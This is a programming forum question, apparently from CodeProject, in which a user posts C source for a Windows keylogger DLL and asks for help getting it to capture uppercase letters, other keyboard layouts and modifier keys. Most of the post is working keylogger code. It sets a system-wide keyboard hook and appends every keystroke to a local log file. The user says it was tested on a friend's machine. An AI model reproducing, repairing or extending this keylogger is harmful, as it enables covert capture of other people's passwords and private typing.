Click here to Skip to main content
14,579,712 members
Rate this:
Please Sign up or sign in to vote.
See more:
Hi, I finally came up with a key logger, it was tested on my friend machine, he insisted and it worked. It suppose to write in capital and small letters as well as picking up a SHIFT key, or any key, also any language. However, when I tested on my machine, it only writes in small letters and in English only, when I switch to another language it still outputs to a file with English.
Also, when I used SHIFT key it does not recognize, also CAP key and NUM key.
Here is the dll file, and of course I call it with dll caller, which is another file calling it.

#include <windows.h>
#include <stdio.h>
HINSTANCE hInstDLL = NULL;
HHOOK hHook = NULL;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode < 0)
		CallNextHookEx(hHook, nCode, wParam, lParam);
	if (!(lParam & (1 << 31)))
	{
		FILE *pFile;
		if (!_wfopen_s(&pFile, L"logfile.txt", L"a+, ccs=UTF-8"))
		{
			HWND hActive = GetActiveWindow();
			DWORD dwThreadID = GetWindowThreadProcessId(hActive, NULL);
			HKL hKL = GetKeyboardLayout(dwThreadID);
			BYTE lpKeyState[256];
			GetKeyboardState(lpKeyState);
			wchar_t sBuffer[256];
			ToUnicodeEx(wParam, MapVirtualKeyEx(wParam, MAPVK_VK_TO_VSC, hKL), lpKeyState, sBuffer, 256, 0, hKL);
			fwrite(sBuffer, sizeof(wchar_t), wcslen(sBuffer), pFile);
			fclose(pFile);
		}
	}
	return CallNextHookEx(hHook, nCode, wParam, lParam);
}
__declspec(dllexport) void SetHook(void)
{
	hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstDLL, 0);	
}
__declspec(dllexport) void Unhook(void)
{
	UnhookWindowsHookEx(hHook);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
	switch (fdwReason)
	{ 
	case DLL_PROCESS_ATTACH:
		hInstDLL = hinstDLL;
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}


Anyone knows what could be wrong with the code, any correction must be made.
Thanks in advance...
Posted
Updated 28-Apr-11 11:32am
v3

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)




CodeProject, 503-250 Ferrand Drive Toronto Ontario, M3C 3G8 Canada +1 416-849-8900 x 100